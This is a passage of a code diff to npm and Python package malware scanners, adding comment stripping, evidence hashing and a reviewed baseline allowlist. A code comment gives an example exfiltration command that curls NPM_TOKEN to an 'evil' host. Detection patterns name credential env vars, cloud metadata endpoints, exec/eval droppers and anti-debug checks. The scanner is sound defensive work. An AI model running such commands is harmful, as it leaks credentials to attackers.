signal (e.g. NPM_TOKEN) millions of times, and holding a + # re.Match per occurrence before applying the cap would stall or OOM the scan. + it = pat.finditer(text) + shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES)) + if not shown_matches: return "" - start = max(0, m.start() - 30) - end = min(len(text), m.end() + 30) - snippet = text[start:end].replace("\n", " ") - if len(snippet) > max_chars: - snippet = snippet[:max_chars] + "..." - return snippet + lines, sl_blanked, ml_blanked, nl = _index_text(text) + shown = [ + _format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches + ] + # Fold the rest (past the cap) into one digest as they arrive, never building a + # second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:]. + overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl) + if overflow_count: + shown.append(f"(+{overflow_count} more) sha256:{digest}") + return " | ".join(shown) + + +def _ioc_evidence(text: str, needle: str) -> str: + """Matched-line context (with bracket-group continuation) for a literal IOC + needle, so a changed adjacent fetch/exfil body reopens the key instead of + riding the bare constant. Falls back to the needle itself if, defensively, + nothing matches (the caller only reaches here when ``needle in text``).""" + return _evidence(text, re.compile(re.escape(needle))) or needle LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare") +# ───────────────────────────────────────────────────────────────────── +# Code-only scanning for JS/TS sources. Blank `//` and `/* */` comments +# before matching (the top FP source: scary strings in JSDoc/changelog +# comments), tracking string/template/regex context so a `//` inside +# "http://..." is not mistaken for a comment. Strings are NOT blanked +# (droppers hide payloads there). Fail open on lexer confusion: the raw +# text is still scanned. JS sibling of scan_packages.py::_strip_noncode. +# ───────────────────────────────────────────────────────────────────── +_JS_FAMILY_SUFFIXES = (".js", ".mjs", ".cjs", ".ts", ".tsx", ".jsx") + +# Keywords after which a `/` begins a regex literal (not division). +_REGEX_PRECEDING_KEYWORDS = frozenset( + { + "return", + "typeof", + "instanceof", + "in", + "of", + "new", + "delete", + "void", + "throw", + "yield", + "await", + "do", + "else", + "case", + } +) +_IDENT_CHARS = frozenset("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$") + + +def _slash_is_regex(prev_tok: str) -> bool: + """Disambiguate a lone ``/``: regex literal vs division operator. + + Biased toward regex when ambiguous -- regex state never blanks, so a + wrong guess only costs FP reduction (or a fail-open), never a missed + detection. + """ + if prev_tok == "": + return True # start of file -> expression position + if prev_tok in _REGEX_PRECEDING_KEYWORDS: + return True + last = prev_tok[-1] + if last.isalnum() or last in "_$)]": + return False # previous token ends a value -> division + return True # operators, punctuation, `{`, `}` -> regex (safe bias) + + +def _strip_js_noncode(text: str) -> str: + """Blank JS/TS comments, preserving byte geometry. Fail-open on confusion.""" + if "//" not in text and "/*" not in text: + return text # nothing to strip + n = len(text) + out = list(text) + nl = ("\n", "\r") + + def _blank(a: int, b: int) -> None: + for k in range(a, b): + if out[k] not in nl: + out[k] = " " + + state = "code" + prev_tok = "" + tmpl_stack: list[str] = [] + i = 0 + try: + while i < n: + c = text[i] + nxt = text[i + 1] if i + 1 < n else "" + if state == "code": + if c == "/" and nxt == "/": + start = i + i += 2 + while i < n and text[i] not in nl: + i += 1 + _blank(start, i) + continue + if c == "/" and nxt == "*": + start = i + i += 2 + closed = False + while i < n: + if text[i] == "*" and i + 1 < n and text[i + 1] == "/": + i += 2 + closed = True + break + i += 1 + if not closed: + return text # unterminated block comment + _blank(start, i) + continue + if c == "'": + state = "sq" + i += 1 + continue + if c == '"': + state = "dq" + i += 1 + continue + if c == "`": + state = "tmpl" + i += 1 + continue + if c == "/": + if _slash_is_regex(prev_tok): + state = "regex" + i += 1 + continue + prev_tok = "/" + i += 1 + continue + if c.isspace(): + i += 1 + continue + if c in _IDENT_CHARS: + j = i + while j < n and text[j] in _IDENT_CHARS: + j += 1 + prev_tok = text[i:j] + i = j + continue + if c == "}" and tmpl_stack: + state = tmpl_stack.pop() + i += 1 + continue + prev_tok = c + i += 1 + continue + elif state in ("sq", "dq"): + q = "'" if state == "sq" else '"' + if c == "\\": + i += 2 + continue + if c == q: + state = "code" + prev_tok = "_v" + i += 1 + continue + if c in nl: + return text # unterminated string literal + i += 1 + continue + elif state == "tmpl": + if c == "\\": + i += 2 + continue + if c == "`": + state = "code" + prev_tok = "_v" + i += 1 + continue + if c == "$" and nxt == "{": + tmpl_stack.append("tmpl") + state = "code" + prev_tok = "{" + i += 2 + continue + i += 1 + continue + elif state == "regex": + if c == "\\": + i += 2 + continue + if c == "[": + state = "regex_cc" + i += 1 + continue + if c == "/": + state = "code" + prev_tok = "_v" + i += 1 + continue + if c in nl: + return text # unterminated regex literal + i += 1 + continue + elif state == "regex_cc": + if c == "\\": + i += 2 + continue + if c == "]": + state = "regex" + i += 1 + continue + if c in nl: + return text + i += 1 + continue + else: + return text + if state != "code" or tmpl_stack: + return text # unterminated construct -> fail open + except Exception: + return text + return "".join(out) + + def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: findings: list[Finding] = [] try: @@ -931,6 +1475,18 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: body = scripts.get(hook) if not isinstance(body, str): continue + # Pin the whole lifecycle body via one digest shared by every lifecycle + # finding below: a script that keeps the matched signal but changes + # another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN" + # https://evil`) must reopen. The stored evidence is a bounded matched + # snippet plus this digest, never the entire body, so `--write-baseline` + # on a package with a multi-MiB install script does not bloat the baseline + # JSON while the digest still binds the full body. Normalized to match + # _evidence_hash so a reindent alone does not reopen, while whitespace + # inside quoted strings is preserved so a changed quoted payload does. + body_digest = hashlib.sha256( + _canon_preserve_strings(body).encode("utf-8", "replace") + ).hexdigest() if _LIFECYCLE_FETCH_EXEC.search(body): findings.append( Finding( @@ -938,7 +1494,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"lifecycle-fetch-exec ({hook})", - evidence = body, + evidence = f"{_evidence(body, _LIFECYCLE_FETCH_EXEC)} body-sha256:{body_digest}", detail = ( f"`scripts.{hook}` fetches an external " "resource and pipes/chains it to an " @@ -957,7 +1513,10 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"cred-path-in-lifecycle ({hook})", - evidence = body, + evidence = ( + f"{_evidence(body, re.compile(re.escape(path_substr)))} " + f"body-sha256:{body_digest}" + ), detail = ( f"`scripts.{hook}` references {why} " f"({path_substr!r}); install-time access " @@ -973,7 +1532,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"cred-env-in-lifecycle ({hook})", - evidence = _evidence(body, _JS_ENV_TOKEN), + evidence = f"{_evidence(body, _JS_ENV_TOKEN)} body-sha256:{body_digest}", detail = ( f"`scripts.{hook}` references a credential " "env var (GITHUB_TOKEN / NPM_TOKEN / AWS_* " @@ -1039,10 +1598,75 @@ def _host_in_outbound_context(text: str, host: str) -> bool: return False +def _outbound_host_evidence(text: str, host: str) -> str: + """Evidence capturing the host WITH its outbound context (URL path, fetch + call, host config), so a changed path/headers/body reopens the key instead + of riding the bare host literal. Falls back to the host if none matches.""" + host_re = re.escape(host) + patterns = ( + re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE), + re.compile( + rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}[^\n]{{0,200}}" + rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}", + re.IGNORECASE, + ), + # Host-config form: capture the whole line (path/headers/body), so a + # changed outbound payload on the same hostname line reopens the key. + re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE), + ) + # Record EVERY outbound context for the host, not just the first form that + # matches: a file that already has a baselined URL for the host and later adds + # a separate host-config request (or a second URL) must change the evidence so + # the new payload cannot inherit the old key. Forms are claimed in order, and a + # region already claimed by an earlier form is skipped, so the common + # single-context case keeps its existing snippet. Each form is capped at + # _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a + # minified file cannot make the overlap check quadratic; once chosen is full + # the rest are folded into a digest AS THEY ARRIVE (never accumulated into a + # list, so a host repeated millions of times cannot OOM the scan) and an added + # context still reopens. + lines, sl_blanked, ml_blanked, nl = _index_text(text) + claimed: list[tuple[int, int]] = [] + chosen: list[re.Match] = [] + overflow_count = 0 + overflow_hash = hashlib.sha256() + for pat in patterns: + for m in pat.finditer(text): + if len(chosen) < _MAX_EVIDENCE_MATCHES: + # Overlap check runs only while filling the display list, so + # `claimed` is bounded by the cap and this stays O(cap) per match + # (not quadratic), while every later match is still counted below. + if any(m.start() < e and s < m.end() for s, e in claimed): + continue + claimed.append((m.start(), m.end())) + chosen.append(m) + else: + _fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl) + overflow_count += 1 + if not chosen: + return host + chosen.sort(key = lambda m: m.start()) + shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen] + if overflow_count: + shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}") + return " | ".join(shown) + + def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: findings: list[Finding] = [] - # IOC substrings (literal, case-sensitive). + # Code-only scanning for JS/TS sources: blank comments before matching so + # an IOC host / `eval(atob)` example / campaign marker quoted in a comment + # cannot manufacture a false positive. Assigned string literals (where real + # droppers hide base64 payloads) are preserved. Non-JS text (json/yaml/sh/ + # py/html) is scanned as-is -- this lexer only understands JS comments. + if rel.lower().endswith(_JS_FAMILY_SUFFIXES): + text = _strip_js_noncode(text) + + # IOC substrings (literal, case-sensitive). Evidence is the matched-line + # context (with its bracket-group continuation), not the bare needle: an IOC + # host/hash left in place while the adjacent fetch/exfil body changes must + # reopen the key instead of riding the constant. for needle, (sev, why) in KNOWN_IOC_STRINGS.items(): if needle in text: findings.append( @@ -1051,12 +1675,14 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "known-ioc-string", - evidence = needle, + evidence = _ioc_evidence(text, needle), detail = f"{why}: {needle!r}", ) ) - # Cred surfaces, tier 1: hosts with no legit use; bare substring. + # Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context + # (path/headers/body) when present so a changed exfil payload on the same call + # reopens; falls back to the bare host when it is not in an outbound call. for needle, why in CRED_HOST_ALWAYS_BAD: if needle in text: findings.append( @@ -1065,7 +1691,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "cred-surface-host (always-bad)", - evidence = needle, + evidence = _outbound_host_evidence(text, needle), detail = ( f"references {why} ({needle!r}); no legitimate " "frontend use of this surface" @@ -1083,7 +1709,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "cred-surface-host (outbound)", - evidence = needle, + evidence = _outbound_host_evidence(text, needle), detail = ( f"references {why} ({needle!r}) in an outbound " "call / URL / host config; a defensive blocklist " @@ -1187,7 +1813,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]: package = pkg.display, filename = rel, pattern = "known-ioc-string", - evidence = needle, + evidence = _ioc_evidence(text, needle), detail = f"{why}: {needle!r}", ) ) @@ -1236,6 +1862,178 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N pass +# ───────────────────────────────────────────────────────────────────── +# Baseline allowlist: triaged known-good HIGH/CRITICAL findings so the gate +# can enforce without red-failing on rare legitimate-library behavior. +# Matched on ``(normalized package, package-relative path, pattern)`` -- not +# evidence text -- so a version bump does not reopen a finding, but a *new* +# kind of finding in a listed file is a different pattern and still fails. +# Mirrors scan_packages.py. Regenerate with ``--write-baseline``. +# ───────────────────────────────────────────────────────────────────── + +_DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json") + +# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new +# payload under an already-listed package/path/pattern is not auto-suppressed; v2 +# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline +# with entries is ignored (fail closed) rather than mis-applied. +_BASELINE_SCHEMA_VERSION = 3 + + +def _norm_pkg_name(display: str) -> str: + """``@scope/pkg@1.2.3`` / ``pkg@1.2.3`` -> name without the version. + + The version is the LAST ``@``-separated field; a leading ``@`` (scope) + is preserved. Lower-cased (npm names are case-insensitive). Sentinels + like ```` / ```` pass through unchanged. + """ + s = (display or "").strip() + at = s.rfind("@") + if at > 0: # >0 so a leading @scope is not treated as the version sep + s = s[:at] + return s.lower() + + +_NPM_TARBALL_ROOT = "package/" + + +def _relpath_in_package(filename: str) -> str: + """Path within the published package, stable across version bumps. npm + tarballs root every file at ``package/``; strip it so the key is the real + source path (``dist/index.js``) and a new file with the same basename in a + different directory is not silently suppressed.""" + f = (filename or "").replace("\\", "/") + return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f + + +def _evidence_hash(evidence: str) -> str: + """Stable digest of the matched evidence. The npm snippet carries no line + markers, so it is already version-stable; whitespace outside string literals is + collapsed (reindent-stable) while whitespace inside literals is preserved, so a + changed payload body reopens but a formatter reindent does not.""" + canon = _canon_preserve_strings(evidence or "") + return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest() + + +def _finding_key(f: Finding) -> tuple[str, str, str, str]: + """Allowlist key: normalized package, package-relative path, pattern, and a + hash of the matched evidence -- so changed flagged code under an already-listed + package/path/pattern reopens instead of riding the reviewed entry.""" + return ( + _norm_pkg_name(f.package), + _relpath_in_package(f.filename), + f.pattern, + _evidence_hash(f.evidence or f.detail), + ) + + +def _load_baseline(path: str) -> set[tuple[str, str, str, str]]: + """Load an allowlist JSON into a set of match keys. Missing file -> empty.""" + try: + with open(path, "r", encoding = "utf-8") as fh: + data = json.load(fh) + except FileNotFoundError: + return set() + except (OSError, json.JSONDecodeError) as exc: + print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr) + return set() + if not isinstance(data, dict): + print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr) + return set() + entries = data.get("entries", []) + if not isinstance(entries, list): + print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr) + return set() + # v2 shares v3's package-relative keying, so its entries migrate by recomputing + # the evidence hash from their stored evidence; only pre-v2 (basename) is rejected. + if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2): + print( + f" [WARN] baseline schema v{data.get('version')} predates package-relative " + f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.", + file = sys.stderr, + ) + return set() + keys: set[tuple[str, str, str, str]] = set() + legacy = 0 + for e in entries: + if not isinstance(e, dict): + continue + try: + evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "") + if not e.get("evidence_hash"): + legacy += 1 + keys.add( + ( + _norm_pkg_name(e["package"]), + _relpath_in_package(e["file"]), + e["pattern"], + evidence_hash, + ) + ) + except (KeyError, TypeError): + continue + if legacy: + print( + f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may " + f"not suppress until regenerated with --write-baseline (findings reopen " + f"rather than risk hiding changed code under a coarse key)", + file = sys.stderr, + ) + return keys + + +def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int: + """Persist at-or-above-threshold findings as an allowlist for triage.""" + entries = [] + seen: set[tuple[str, str, str, str]] = set() + for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)): + if _SEVERITY_RANK[f.severity] > threshold_rank: + continue + key = _finding_key(f) + if key in seen: + continue + seen.add(key) + evidence = f.evidence or f.detail + entries.append( + { + "package": _norm_pkg_name(f.package), + "file": _relpath_in_package(f.filename), + "pattern": f.pattern, + "severity": f.severity, + "evidence": evidence, + "evidence_hash": _evidence_hash(evidence), + } + ) + doc = { + "_comment": ( + "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL " + "finding manually judged benign. Matched on (package, " + "package-relative path, pattern, evidence hash); a new payload under " + "an already-listed package/path/pattern reopens. severity is for " + "review only. Regenerate with --write-baseline AFTER reviewing every line." + ), + "version": _BASELINE_SCHEMA_VERSION, + "entries": entries, + } + with open(path, "w", encoding = "utf-8") as fh: + json.dump(doc, fh, indent = 2, sort_keys = False) + fh.write("\n") + print(f" Wrote {len(entries)} baseline entr(y/ies) to {path}") + return len(entries) + + +def _partition_baseline( + findings: list[Finding], baseline: set[tuple[str, str, str, str]] +) -> tuple[list[Finding], list[Finding]]: + """Split findings into (active, suppressed) by allowlist membership.""" + if not baseline: + return list(findings), [] + active, suppressed = [], [] + for f in findings: + (suppressed if _finding_key(f) in baseline else active).append(f) + return active, suppressed + + def main(argv: list[str] | None = None) -> int: parser = argparse.ArgumentParser( description = "Pre-install npm tarball content scanner.", @@ -1263,6 +2061,30 @@ def main(argv: list[str] | None = None) -> int: "Medium and below print but exit 0." ), ) + parser.add_argument( + "--baseline", + metavar = "FILE", + default = None, + help = ( + "Allowlist JSON of triaged known-good findings to suppress. " + "Defaults to scan_npm_packages_baseline.json next to this script " + "if present." + ), + ) + parser.add_argument( + "--no-baseline", + action = "store_true", + help = "Ignore the auto-discovered baseline allowlist.", + ) + parser.add_argument( + "--write-baseline", + metavar = "FILE", + default = None, + help = ( + "Write the current at/above-threshold findings to FILE as an " + "allowlist, then exit 0. Review every entry before committing it." + ), + ) args = parser.parse_args(argv) lockfile = Path(args.lockfile).resolve() @@ -1341,7 +2163,46 @@ def main(argv: list[str] | None = None) -> int: "critical": CRITICAL, }[args.fail_on] threshold_rank = _SEVERITY_RANK[threshold] - blocking = [f for f in all_findings if _SEVERITY_RANK[f.severity] <= threshold_rank] + + # --write-baseline: persist the full current at/above-threshold set as the + # new allowlist (ignoring any loaded baseline), then exit 0. A hard error + # means the scan was incomplete, so warn -- a baseline baked from a partial + # run would silently allow whatever failed to download. + if args.write_baseline: + if hard_errors: + print( + f" [WARN] {len(hard_errors)} hard error(s): baseline may be " + "incomplete (some packages did not scan).", + file = sys.stderr, + ) + _write_baseline(args.write_baseline, all_findings, threshold_rank) + return 0 + + # Baseline allowlist: suppress triaged, known-good findings so the CI gate + # can be enforcing without red-failing on legitimate-library noise. + if args.no_baseline: + baseline_path = None + elif args.baseline: + baseline_path = args.baseline + elif os.path.isfile(_DEFAULT_BASELINE_PATH): + baseline_path = _DEFAULT_BASELINE_PATH + else: + baseline_path = None + baseline = _load_baseline(baseline_path) if baseline_path else set() + active, suppressed = _partition_baseline(all_findings, baseline) + + if suppressed: + crit_s = sum(1 for f in suppressed if f.severity == CRITICAL) + high_s = sum(1 for f in suppressed if f.severity == HIGH) + print( + f"\n[scan-npm] {len(suppressed)} finding(s) suppressed by baseline " + f"{baseline_path} ({crit_s} CRITICAL, {high_s} HIGH).", + flush = True, + ) + + # Exit code: 1 on a hard error, or a NON-baselined finding at/above the + # threshold. This is the signal CI gates on once the baseline is clean. + blocking = [f for f in active if _SEVERITY_RANK[f.severity] <= threshold_rank] if hard_errors or blocking: if blocking: print( diff --git a/scripts/scan_npm_packages_baseline.json b/scripts/scan_npm_packages_baseline.json new file mode 100644 index 0000000000..6ed3cedef9 --- /dev/null +++ b/scripts/scan_npm_packages_baseline.json @@ -0,0 +1,5 @@ +{ + "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.", + "version": 3, + "entries": [] +} diff --git a/scripts/scan_packages.py b/scripts/scan_packages.py index 861b35617b..73f6ff2291 100644 --- a/scripts/scan_packages.py +++ b/scripts/scan_packages.py @@ -33,14 +33,31 @@ Examples: python scan_packages.py --fix -r requirements.txt python scan_packages.py --fix --max-search 20 -r requirements.txt + # Triage to a baseline once, then gate on anything NEW + python scan_packages.py -r requirements.txt --write-baseline scripts/scan_packages_baseline.json + python scan_packages.py -r requirements.txt # auto-loads the baseline, exits 0 if only baselined findings remain + +False positives: + .py files are scanned code-only: comments and bare docstrings/doctests are + blanked before pattern matching (line numbers preserved), so prose, usage + examples and `>>>` doctests cannot trip a finding. Residual findings that + are genuine library behavior (a HTTP client reading HF_TOKEN, a vendored + test fixture) are suppressed via a reviewed baseline allowlist, matched on + (package, package-relative file, check, evidence hash). A new check, or + changed flagged code under the same check, reopens the finding; version + bumps and line shifts do not. This mirrors the Hugging Face Hub approach + (ClamAV/picklescan: low-FP, signature/structural, surface status). + Exit codes: - 0 -- no CRITICAL or HIGH findings - 1 -- CRITICAL or HIGH findings detected - 2 -- no packages specified + 0 -- no non-baselined CRITICAL or HIGH findings (or --write-baseline) + 1 -- non-baselined CRITICAL or HIGH findings detected + 2 -- no packages specified, or scan incomplete (pip download failure) """ import argparse import atexit +import bisect +import hashlib import io import json import os @@ -50,6 +67,8 @@ import subprocess import sys import tarfile import tempfile +import tokenize +import urllib.parse import urllib.request import zipfile from dataclasses import dataclass, field @@ -140,6 +159,9 @@ RE_EMBEDDED_KEYS = re.compile( re.DOTALL, ) +# Full PEM block (BEGIN..END), used to pin a multiline key body in evidence. +RE_PEM_BLOCK = re.compile(r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL) + # Cloud metadata / IMDS endpoints RE_CLOUD_METADATA = re.compile( r"169\.254\.169\.254" # AWS/Azure/GCP IMDS @@ -213,17 +235,26 @@ RE_ARCHIVE_STAGING = re.compile( ) # Anti-analysis / sandbox evasion / debugger detection +# NB: deliberately does NOT include a bare ``platform.system() ... Linux/Windows +# /Darwin`` branch. Under re.DOTALL that matched across the whole file -- any +# cross-platform library (typer, packaging, pandas, pymupdf, ...) trips it -- so +# it had ~zero precision and only generated false positives. OS detection alone +# is not an anti-analysis signal; the debugger/VM/long-sleep signals below are. RE_ANTI_ANALYSIS = re.compile( r"\bptrace\b" r"|\bsys\s*\.\s*gettrace\s*\(" r"|\bsys\s*\.\s*settrace\b" r"|\bTracerPid\b" - r"|\b/proc/self/status\b" + # /proc/self/status is read to scrape TracerPid for anti-debug. A leading + # \b here is unsatisfiable (\b never holds between a non-word boundary and + # "/"), so the old pattern was dead; a lookbehind that only forbids a + # preceding word char or path separator lets `open("/proc/self/status")` + # and `cat /proc/self/status` match while avoiding mid-path partials. + r"|(? list[Finding]: # Large base64 blob if RE_LARGE_BLOB.search(content): - blob = RE_LARGE_BLOB.search(content).group() + # Digest every blob (not just the first 120 chars, and not just the + # first blob), so a later payload that keeps the prefix or appends a + # second encoded blob reopens. + blob, digest = _blob_digest(content) findings.append( Finding( CRITICAL, package, filename, f".pth has large base64-like blob ({len(blob)} chars)", - blob[:120] + "...", + f"{blob[:120]}... sha256:{digest}", ) ) - # Catch-all: any import line in .pth if nothing else triggered + # Catch-all: any import line in .pth if nothing else triggered. Bind every + # line through a digest so an appended/swapped import reopens the key, but cap + # the displayed text so a large .pth of benign-looking imports cannot dump up + # to the archive member cap into the logs or baseline JSON. if not findings and import_lines: - evidence = "\n".join(import_lines[:5]) - if len(import_lines) > 5: - evidence += f"\n... ({len(import_lines)} import lines total)" + evidence = _cap_line("\n".join(import_lines)) findings.append( Finding( HIGH, @@ -480,22 +515,183 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]: # Unusually large executable .pth (litellm's was 34 KB; legit ones are <100 bytes) size = len(content) if size > 500 and import_lines: + # Pin the content so a different payload of the same size/import count reopens. + digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest() findings.append( Finding( HIGH, package, filename, f"Unusually large executable .pth ({size} bytes)", - f"{len(import_lines)} import line(s) in {size}-byte .pth file", + f"{len(import_lines)} import line(s) in {size}-byte .pth file sha256:{digest}", ) ) return findings +# A STRING after one of these tokens (and before a NEWLINE) is a bare +# docstring/doctest/prose statement -- the dominant FP source -- so we blank it. +# A string after `=` or `(` is real code and is never blanked. +_LINE_START_TOKENS = frozenset({tokenize.NEWLINE, tokenize.NL, tokenize.INDENT, tokenize.DEDENT}) + + +def _is_fstring(tok_string: str) -> bool: + """True if a STRING token is an f-string (3.10/3.11 emit one STRING token). + + A bare f-string statement evaluates its expressions at import, so unlike an + inert docstring it must never be blanked. + """ + q = min((tok_string.find(c) for c in "'\"" if c in tok_string), default = -1) + return q > 0 and "f" in tok_string[:q].lower() + + +def _strip_noncode(content: str, blank_comments: bool = True) -> str: + """Blank comments and bare docstrings so IOC patterns see code only. + + Removed regions become spaces (newlines kept) so line numbers stay exact for + _extract_evidence. Fails open on tokenizer errors (the raw text is still + fully scanned, so a real detection is never lost). ``blank_comments=False`` + keeps comments (only strings/docstrings blanked) to isolate the span that + exec() could actually run. + """ + try: + toks = list(tokenize.generate_tokens(io.StringIO(content).readline)) + except (tokenize.TokenError, IndentationError, SyntaxError, ValueError): + return content + + spans: list[tuple[int, int, int, int]] = [] # (srow, scol, erow, ecol) + prev_significant = tokenize.NEWLINE # start-of-file behaves like a new line + n = len(toks) + for i, tok in enumerate(toks): + ttype = tok.type + if ttype == tokenize.COMMENT: + if blank_comments: + spans.append((*tok.start, *tok.end)) + continue # transparent; never advances prev_significant + if ( + ttype == tokenize.STRING + and prev_significant in _LINE_START_TOKENS + and not _is_fstring(tok.string) # f-strings execute; never blank them + ): + # Bare string only if it is the whole statement: next significant + # token must close the logical line. + j = i + 1 + while j < n and toks[j].type in (tokenize.COMMENT, tokenize.NL): + j += 1 + if j < n and toks[j].type == tokenize.NEWLINE: + spans.append((*tok.start, *tok.end)) + prev_significant = ttype + continue + if ttype in ( + tokenize.NL, + tokenize.NEWLINE, + tokenize.INDENT, + tokenize.DEDENT, + tokenize.ENCODING, + ): + prev_significant = ttype + continue + prev_significant = ttype + + if not spans: + return content + + buf = content.splitlines(keepends = True) + for srow, scol, erow, ecol in spans: + for row in range(srow, erow + 1): + line = buf[row - 1] + if line.endswith("\n"): + body, nl = line[:-1], "\n" + elif line.endswith("\r"): + body, nl = line[:-1], "\r" + else: + body, nl = line, "" + start = scol if row == srow else 0 + end = ecol if row == erow else len(body) + end = min(end, len(body)) + if start < end: + body = body[:start] + (" " * (end - start)) + body[end:] + buf[row - 1] = body + nl + return "".join(buf) + + +# Payload carriers that are suspicious when hidden in a blanked region (a +# docstring/string) of a file that can dynamically execute strings. +_HIDDEN_PAYLOAD_PATTERNS = ( + (RE_LARGE_BLOB, "large base64 blob"), + (RE_EMBEDDED_KEYS, "embedded key material"), + (RE_MAY12_IOC, "Shai-Hulud IOC string"), + (RE_OBFUSCATION, "marshal/compile/obfuscation"), +) + + +def _hidden_payload_findings( + original: str, stripped: str, filename: str, package: str +) -> list[Finding]: + """Flag payloads that live only in the blanked (docstring/string) region of + a file that contains exec/eval. Such a string is invisible to code-only + scanning yet ``exec(__doc__)`` / ``exec()`` could still run it.""" + if not RE_EXEC_EVAL.search(stripped): + return [] + # Only docstrings/strings run via exec(__doc__)/exec(); comments cannot. + # Isolate that span: keep comments as real code, take what string-blanking + # removed (length-preserved, so offsets stay exact for _extract_evidence). + code = _strip_noncode(original, blank_comments = False) + removed = "".join(o if o != s else " " for o, s in zip(original, code)) + out = [] + + # The visible exec/eval line is what makes the hidden string executable, so + # bind it into every finding's evidence: otherwise a reviewed false positive + # that keeps the same hidden text but flips a harmless `eval("1+1")` to + # `exec(__doc__)` (now running the payload) keeps the same key and stays + # suppressed. Taken from `stripped` (real code), where the exec/eval lives. + trigger = _extract_evidence(stripped, RE_EXEC_EVAL) + + def _hidden(pat): + # Carrier present in a blanked region but NOT in real code. A carrier in + # real code is already caught by the normal check, so restricting to + # blanked-only avoids re-flagging legitimate in-code constants. + return bool(pat.search(removed)) and not pat.search(stripped) + + for pat, label in _HIDDEN_PAYLOAD_PATTERNS: + if _hidden(pat): + out.append( + Finding( + HIGH, + package, + filename, + "exec/eval with payload hidden in a docstring/string", + f"exec: {trigger}\n{label}: {_extract_evidence(removed, pat)}", + ) + ) + # Fetch-then-run dropper: a network call AND an os/subprocess exec that both + # live in the blanked region. Search the removed span directly (not "absent + # from real code") so a benign visible network/subprocess call cannot mask + # the docstring payload. + if RE_NETWORK.search(removed) and RE_SUBPROCESS.search(removed): + out.append( + Finding( + HIGH, + package, + filename, + "exec/eval with hidden network+exec payload", + f"exec: {trigger}\n" + f"network+exec: {_extract_evidence(removed, RE_NETWORK)} | " + f"{_extract_evidence(removed, RE_SUBPROCESS)}", + ) + ) + return out + + def check_py_file(content: str, filename: str, package: str) -> list[Finding]: """Run all .py-specific checks.""" - findings = [] + # Code-only scanning: strip comments/docstrings up front so prose, doctests + # and usage examples cannot manufacture false positives. Aligns with the + # Hugging Face Hub model (ClamAV/picklescan: low-FP, signature/structural). + original = content + content = _strip_noncode(content) + findings = _hidden_payload_findings(original, content, filename, package) basename = os.path.basename(filename) is_setup = basename in ("setup.py", "setup.cfg") is_init = basename == "__init__.py" @@ -542,14 +738,19 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: # openssl encryption + network/key material (encrypted exfiltration) if has_openssl_cli and (has_network or has_keys): + # Bind whichever side(s) co-occur so a changed endpoint or key reopens. + evidence = [f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}"] + if has_network: + evidence.append(f"Network: {_extract_evidence(content, 